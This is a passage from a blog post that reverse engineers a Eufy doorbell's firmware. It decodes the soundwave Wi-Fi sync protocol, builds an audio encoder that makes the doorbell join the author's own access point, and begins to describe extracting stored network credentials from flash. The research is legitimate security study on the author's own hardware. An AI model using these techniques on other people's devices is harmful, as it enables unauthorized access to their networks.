<span class="n">FUN_000b6514</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">param_3</span><span class="p">,</span><span class="n">param_4</span><span class="p">,</span><span class="n">auStack_94</span><span class="p">);</span>
<span class="k">if</span> <span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">DAT_0029a154</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">snprintf</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">DAT_0029a154</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="s">"{</span><span class="se">\"</span><span class="s">s</span><span class="se">\"</span><span class="s">: </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s">, </span><span class="se">\"</span><span class="s">p</span><span class="se">\"</span><span class="s">:</span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s">}"</span><span class="p">,</span><span class="n">auStack_94</span><span class="p">,</span><span class="n">auStack_6c</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">_DAT_0029a15c</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">_DAT_0029a15c</span><span class="p">;</span>
<span class="n">DAT_0029a160</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">DAT_0029a154</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">iVar2</span> <span class="o">!=</span> <span class="mi">3</span> <span class="o">&&</span> <span class="n">iVar2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"------------------recognized data:%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">param_3</span><span class="p">);</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">_DAT_0029a15c</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">_DAT_0029a15c</span> <span class="o">=</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">DAT_0029a150</span> <span class="o">!=</span> <span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="p">(</span><span class="o">*</span><span class="n">DAT_0029a150</span><span class="p">)(</span><span class="o">&</span><span class="n">DAT_0029a15c</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Function <code class="language-plaintext highlighter-rouge">FUN_000b642c</code> returns <code class="language-plaintext highlighter-rouge">first_nibble >> 1</code>, if it is “1” (as seen in <code class="language-plaintext highlighter-rouge">if (iVar2 == 1)</code>) then it determines the encoded data is “wifi” type. If that’s the case, then <code class="language-plaintext highlighter-rouge">FUN_000b6514</code> is called:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined4</span> <span class="nf">FUN_000b6514</span><span class="p">(</span><span class="n">undefined4</span> <span class="n">param_1</span><span class="p">,</span><span class="n">undefined1</span> <span class="o">*</span><span class="n">param_2</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_3</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_4</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">uVar2</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar3</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar4</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">local_24</span> <span class="p">[</span><span class="mi">2</span><span class="p">];</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">FUN_000c43d0</span><span class="p">(</span><span class="o">*</span><span class="n">param_2</span><span class="p">);</span>
<span class="n">uVar2</span> <span class="o">=</span> <span class="n">FUN_000c43d0</span><span class="p">(</span><span class="n">param_2</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="n">local_24</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">iVar3</span> <span class="o">=</span> <span class="n">FUN_000c43d0</span><span class="p">(</span><span class="o">*</span><span class="n">param_2</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">iVar3</span> <span class="o">>></span> <span class="mi">1</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">__assert</span><span class="p">(</span><span class="s">"vr_decodeInfoType(_data, _dataLen) == IT_SSID_WIFI"</span><span class="p">,</span>
<span class="s">"/home/workspace/ANKER/audio_wave/src/voiceRecog.c"</span><span class="p">,</span><span class="mh">0x1ef</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">iVar4</span> <span class="o">=</span> <span class="p">((</span><span class="n">uVar1</span> <span class="o">&</span> <span class="mi">1</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">4</span> <span class="o">|</span> <span class="n">uVar2</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">iVar3</span> <span class="o">=</span> <span class="n">FUN_000b5e88</span><span class="p">(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span><span class="n">param_3</span> <span class="o">+</span> <span class="o">-</span><span class="mi">2</span><span class="p">,</span><span class="n">local_24</span><span class="p">,</span><span class="n">param_4</span><span class="p">,</span><span class="n">iVar4</span><span class="p">,</span><span class="mh">0x21</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">iVar4</span> <span class="o">==</span> <span class="n">iVar3</span><span class="p">)</span> <span class="p">{</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined1</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_4</span> <span class="o">+</span> <span class="n">iVar4</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_4</span> <span class="o">+</span> <span class="mh">0x24</span><span class="p">)</span> <span class="o">=</span> <span class="n">iVar4</span><span class="p">;</span>
<span class="n">iVar3</span> <span class="o">=</span> <span class="n">FUN_000b5e88</span><span class="p">(</span><span class="n">param_2</span> <span class="o">+</span> <span class="n">local_24</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span><span class="n">param_3</span> <span class="o">-</span> <span class="p">(</span><span class="n">local_24</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mi">2</span><span class="p">),</span><span class="n">local_24</span><span class="p">,</span>
<span class="n">param_4</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">,</span><span class="mh">0xffffffff</span><span class="p">,</span><span class="mh">0x50</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined1</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_4</span> <span class="o">+</span> <span class="n">iVar3</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_4</span> <span class="o">+</span> <span class="mh">0x78</span><span class="p">)</span> <span class="o">=</span> <span class="n">iVar3</span><span class="p">;</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">__assert</span><span class="p">(</span><span class="s">"dataLen == ssidLen"</span><span class="p">,</span><span class="s">"/home/workspace/ANKER/audio_wave/src/voiceRecog.c"</span><span class="p">,</span><span class="mh">0x1f1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Which roughly can be translated to:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">decodeWifiSSID</span><span class="p">(</span>
<span class="n">Context</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
<span class="kt">uint8_t</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span>
<span class="kt">int</span> <span class="n">dataLen</span><span class="p">,</span>
<span class="n">WifiInfo</span> <span class="o">*</span><span class="n">out</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">uint8_t</span> <span class="n">header0</span> <span class="o">=</span> <span class="n">decodeNibble</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="kt">uint8_t</span> <span class="n">header1</span> <span class="o">=</span> <span class="n">decodeNibble</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="kt">int</span> <span class="n">consumed</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="c1">// Packet must be of type SSID_WIFI</span>
<span class="n">assert</span><span class="p">((</span><span class="n">decodeNibble</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">>></span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="n">IT_SSID_WIFI</span><span class="p">);</span>
<span class="c1">// SSID length is encoded in first two bytes</span>
<span class="kt">int</span> <span class="n">ssidLen</span> <span class="o">=</span> <span class="p">(((</span><span class="n">header0</span> <span class="o">&</span> <span class="mi">1</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">4</span><span class="p">)</span> <span class="o">|</span> <span class="n">header1</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="c1">// Decode SSID</span>
<span class="kt">int</span> <span class="n">decoded</span> <span class="o">=</span>
<span class="n">decodePayload</span><span class="p">(</span>
<span class="n">data</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span>
<span class="n">dataLen</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span>
<span class="o">&</span><span class="n">consumed</span><span class="p">,</span>
<span class="n">out</span><span class="p">,</span>
<span class="n">ssidLen</span><span class="p">,</span>
<span class="mh">0x21</span><span class="p">);</span>
<span class="n">assert</span><span class="p">(</span><span class="n">decoded</span> <span class="o">==</span> <span class="n">ssidLen</span><span class="p">);</span>
<span class="n">out</span><span class="o">-></span><span class="n">ssid</span><span class="p">[</span><span class="n">ssidLen</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">out</span><span class="o">-></span><span class="n">ssidLength</span> <span class="o">=</span> <span class="n">ssidLen</span><span class="p">;</span>
<span class="c1">// Decode password</span>
<span class="kt">int</span> <span class="n">passLen</span> <span class="o">=</span>
<span class="n">decodePayload</span><span class="p">(</span>
<span class="n">data</span> <span class="o">+</span> <span class="n">consumed</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span>
<span class="n">dataLen</span> <span class="o">-</span> <span class="p">(</span><span class="n">consumed</span> <span class="o">+</span> <span class="mi">2</span><span class="p">),</span>
<span class="o">&</span><span class="n">consumed</span><span class="p">,</span>
<span class="n">out</span><span class="o">-></span><span class="n">password</span><span class="p">,</span>
<span class="o">-</span><span class="mi">1</span><span class="p">,</span>
<span class="mh">0x50</span><span class="p">);</span>
<span class="n">out</span><span class="o">-></span><span class="n">password</span><span class="p">[</span><span class="n">passLen</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">out</span><span class="o">-></span><span class="n">passwordLength</span> <span class="o">=</span> <span class="n">passLen</span><span class="p">;</span>
<span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Ding ding ding! Jackpot!! So this function decode (with the help of <code class="language-plaintext highlighter-rouge">FUN_000b5e88</code> that I called <code class="language-plaintext highlighter-rouge">decodePayload</code> in the pseudo-code and I avoid to paste here because is too big) the SSID and the password. Gluing all together the full message:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/full-decode.png" alt="Full decoded data" />
<figcaption>
Full decoded data
</figcaption>
</figure>
<ul>
<li>SSID: 731f1350</li>
<li>Password: 267039eb</li>
</ul>
<p>So, the data transmited by the homebase <strong>was not the OCEAN_XXXXXX</strong> hidden wifi credentials, it was data created ad-hoc for a temporal hotspot where the doorbell tries to connect once it decodes the audio. Probably when the doorbell connects to this wifi, the homebase sends the real OCEAN_XXXXXX data out-of-band using TCP or UDP. Anyway, there is only a way to validate if my decoding is working or not: building the inverse (an “encoder”) and create a wifi to see if the doorbell connects to it after parsing my synthetic audio.</p>
<p>First I create in the Raspberry Pi a new AP with arbitrary data:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">psyconauta@insulafructuum-i:~ $ sudo cat /etc/hostapd/hostapd.conf</span>
<span class="s">interface=wlan0</span>
<span class="s">driver=nl80211</span>
<span class="s">ssid=a1b2c3d4</span>
<span class="s">hw_mode=g</span>
<span class="s">channel=6</span>
<span class="s">ieee80211n=1</span>
<span class="s">wmm_enabled=1</span>
<span class="s">auth_algs=1</span>
<span class="s">wpa=2</span>
<span class="s">wpa_passphrase=4d3c2b1a</span>
<span class="s">wpa_key_mgmt=WPA-PSK</span>
<span class="s">rsn_pairwise=CCMP</span>
<span class="s">logger_stdout=-1</span>
<span class="s">logger_stdout_level=0</span>
<span class="s">logger_syslog=-1</span>
<span class="s">logger_syslog_level=0</span>
</code></pre></div></div>
<p>Then I encoded the Raspberry Pi wifi data:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>psyconauta@insulafructuum-i:~ $ python3 audio_wave_encoder.py "a1b2c3d4" "4d3c2b1a" message.wav
payload: 276613162326333643463464336332623161
crc: 72f3
blocks: 27661316232631b 3364346346433b4 633262316172f9f 3c2
tones: 10 1 4 9 8 18 3 5 3 8 4 5 4 8 5 3 13 1 5 18 8 6 5 6 8 5 6 8 6 5 18 13 6 1 8 5 18 4 8 4 5 3 8 3 9 4 17 11 17 1 5 14 4 1
wrote: message.wav
(testing with the decoder that the info is correct)
psyconauta@insulafructuum-i:~ $ python3 audio_wave_decoder.py message.wav
{
"type": 1,
"raw_hex": "276613162326333643463464336332623161",
"kind": "wifi",
"ssid": "a1b2c3d4",
"password": "4d3c2b1a",
"consumed_nibbles": 36,
"rs_corrected_blocks": 0
}
</code></pre></div></div>
<p>The resulting audio can be heard here:</p>
<audio controls="">
<source src="/Eufy-DoorBell-hacking/message.wav" type="audio/wav" />
Your browser does not support the audio element.
</audio>
<p>I played it using my mobile near to the doorbell after pressing the “sync” button for two seconds and it immediately sent probe requests from the doorbell asking for my wifi <strong>:D</strong>:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/pr.png" alt="Probe request" />
<figcaption>
Doorbell trying to connect to my wifi a1b2c3d4
</figcaption>
</figure>
<p>And a few moments later I got the full connection:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>psyconauta@insulafructuum-i:~ $ sudo iw dev wlan0 station dump
Station 90:bf:d9:9f:97:fa (on wlan0)
inactive time: 0 ms
rx bytes: 10340
rx packets: 116
tx bytes: 12995
tx packets: 175
tx failed: 0
tx bitrate: 1.0 MBit/s
rx bitrate: 26.0 MBit/s
authorized: yes
authenticated: yes
associated: yes
WMM/WME: yes
TDLS peer: no
DTIM period: 2
beacon interval:100
short slot time:yes
connected time: 72 seconds
current time: 1785233886535 ms
</code></pre></div></div>
<p>It used a static IP (192.168.32.250):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>psyconauta@insulafructuum-i:~ $ sudo tcpdump -i wlan0 -n -e ether host 90:bf:d9:9f:97:fa
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on wlan0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
12:32:15.319733 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype EAPOL (0x888e), length 113: EAPOL key (3) v2, len 95
12:32:15.344634 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype EAPOL (0x888e), length 135: EAPOL key (3) v1, len 117
12:32:15.346593 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype EAPOL (0x888e), length 169: EAPOL key (3) v2, len 151
12:32:15.365989 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype EAPOL (0x888e), length 113: EAPOL key (3) v1, len 95
12:32:15.394131 90:bf:d9:9f:97:fa > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.250 tell 192.168.32.250, length 28
12:32:15.396167 90:bf:d9:9f:97:fa > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.2 tell 192.168.32.250, length 28
12:32:15.396217 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype ARP (0x0806), length 42: Reply 192.168.32.2 is-at b8:27:eb:be:95:f3, length 28
12:32:15.405804 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype IPv4 (0x0800), length 58: 192.168.32.250.63122 > 192.168.32.2.10402: Flags [S], seq 1860381, win 29200, options [mss 1460], length 0
12:32:15.405916 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype IPv4 (0x0800), length 54: 192.168.32.2.10402 > 192.168.32.250.63122: Flags [R.], seq 0, ack 1860382, win 0, length 0
12:32:20.470710 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.250 tell 192.168.32.2, length 28
12:32:21.482798 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype ARP (0x0806), length 42: Reply 192.168.32.250 is-at 90:bf:d9:9f:97:fa, length 28
</code></pre></div></div>
<p>Although having the doorbell conected to us is not something interesting per se, I enjoyed the process of reversing the soundwave sync protocol used by Eufy. I learned a lot of stuff \o/</p>
<h1 id="0x04-extracting-and-decrypting-ocean_xxxxxx-creds-from-flash-memory">0x04 Extracting and decrypting OCEAN_XXXXXX creds from flash memory</h1>
<p>When I dumped the flash memory the doorbell was previously synced with my homebase, so I knew it contained somewhere the hidden network credentials. But unfortunately I could not find any reference searching for the string “OCEAN” which was odd. To paraphrase vx-underground I started again to poke with a stick the ELF I analyzed to see if this config was used at some point. After searching for keywords I ended on this function:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined4</span> <span class="nf">FUN_0001f8ac</span><span class="p">(</span><span class="kt">int</span> <span class="n">param_1</span><span class="p">,</span><span class="n">undefined4</span> <span class="n">param_2</span><span class="p">,</span><span class="n">undefined4</span> <span class="n">param_3</span><span class="p">,</span><span class="n">undefined4</span> <span class="n">param_4</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">bool</span> <span class="n">bVar1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar2</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar3</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">sVar4</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">__n</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar5</span><span class="p">;</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">"save parameter."</span><span class="p">,</span><span class="n">param_3</span><span class="p">,</span><span class="n">param_4</span><span class="p">,</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_2</span><span class="p">);</span>
<span class="n">iVar2</span> <span class="o">=</span> <span class="n">open</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x517a</span><span class="p">),</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x1a4</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">iVar2</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="s">"writeConfig can</span><span class="se">\'</span><span class="s">t open config file(%s)."</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x517a</span><span class="p">));</span>
<span class="n">iVar2</span> <span class="o">=</span> <span class="n">open</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x81d30</span><span class="p">),</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x1a4</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">iVar2</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_0001f918</span><span class="p">;</span>
<span class="n">bVar1</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">bVar1</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">iVar5</span> <span class="o">=</span> <span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x5894</span><span class="p">;</span>
<span class="n">iVar3</span> <span class="o">=</span> <span class="n">FUN_0003b604</span><span class="p">(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x540f</span><span class="p">,</span><span class="n">iVar5</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">iVar3</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="s">"writeConfig setEncryptkey Fail"</span><span class="p">);</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="s">"write parameter fail"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"write parameter fail"</span><span class="p">);</span>
<span class="n">close</span><span class="p">(</span><span class="n">iVar2</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">DAT_002cb989</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mh">0xc01</span><span class="p">);</span>
<span class="n">iVar3</span> <span class="o">=</span> <span class="n">FUN_0001e330</span><span class="p">(</span><span class="n">iVar5</span><span class="p">,</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x5046</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">,</span><span class="o">&</span><span class="n">DAT_002cb98b</span><span class="p">);</span>
<span class="n">__n</span> <span class="o">=</span> <span class="n">iVar3</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">DAT_002cb989</span> <span class="o">=</span> <span class="p">(</span><span class="n">undefined2</span><span class="p">)</span><span class="n">iVar3</span><span class="p">;</span>
<span class="n">sVar4</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">iVar2</span><span class="p">,</span><span class="o">&</span><span class="n">DAT_002cb989</span><span class="p">,</span><span class="n">__n</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">__n</span> <span class="o">==</span> <span class="n">sVar4</span><span class="p">)</span> <span class="p">{</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="s">"write parameter succ (%d)(%d)"</span><span class="p">,</span><span class="n">__n</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"write parameter succ (%d)(%d)"</span><span class="p">,</span><span class="n">__n</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="s">"write config file fail.(%d)(%d)"</span><span class="p">,</span><span class="n">sVar4</span><span class="p">,</span><span class="n">__n</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">fsync</span><span class="p">(</span><span class="n">iVar2</span><span class="p">);</span>
<span class="n">close</span><span class="p">(</span><span class="n">iVar2</span><span class="p">);</span>
<span class="n">sync</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">bVar1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">iVar2</span> <span class="o">=</span> <span class="n">open</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x81d30</span><span class="p">),</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x1a4</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">iVar2</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="nl">LAB_0001f918:</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="s">"writeConfig can</span><span class="se">\'</span><span class="s">t open config bak file(%s)."</span><span class="p">,</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x81d30</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">DAT_002cb989</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mh">0xc01</span><span class="p">);</span>
<span class="n">iVar3</span> <span class="o">=</span> <span class="n">FUN_0001e330</span><span class="p">(</span><span class="n">iVar5</span><span class="p">,</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x5046</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">,</span><span class="o">&</span><span class="n">DAT_002cb98b</span><span class="p">);</span>
<span class="n">__n</span> <span class="o">=</span> <span class="n">iVar3</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">DAT_002cb989</span> <span class="o">=</span> <span class="p">(</span><span class="n">undefined2</span><span class="p">)</span><span class="n">iVar3</span><span class="p">;</span>
<span class="n">sVar4</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">iVar2</span><span class="p">,</span><span class="o">&</span><span class="n">DAT_002cb989</span><span class="p">,</span><span class="n">__n</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">__n</span> <span class="o">==</span> <span class="n">sVar4</span><span class="p">)</span> <span class="p">{</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="s">"write parameter bak succ (%d)(%d)"</span><span class="p">,</span><span class="n">__n</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"write parameter bak succ (%d)(%d)"</span><span class="p">,</span><span class="n">__n</span><span class="p">,</span><span class="mh">0xa6</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="s">"write config bak file fail.(%d)(%d)"</span><span class="p">,</span><span class="n">sVar4</span><span class="p">,</span><span class="n">__n</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">fsync</span><span class="p">(</span><span class="n">iVar2</span><span class="p">);</span>
<span class="n">close</span><span class="p">(</span><span class="n">iVar2</span><span class="p">);</span>
<span class="n">sync</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x5acc</span><span class="p">)</span> <span class="o">!=</span> <span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="p">(</span><span class="o">**</span><span class="p">(</span><span class="n">code</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x5acc</span><span class="p">))(</span><span class="mh">0x6d</span><span class="p">,</span><span class="o">&</span><span class="n">DAT_002cb989</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">__n</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>if <code class="language-plaintext highlighter-rouge">FUN_0003b604</code> returns something below 0 it logs a error message indicating <strong>setEncryptKey Fail</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">FUN_0003b604</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">param_1</span><span class="p">,</span><span class="n">undefined4</span> <span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">size_t</span> <span class="n">sVar1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar2</span><span class="p">;</span>
<span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">param_1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">sVar1</span> <span class="o">==</span> <span class="mh">0x10</span><span class="p">)</span> <span class="p">{</span>
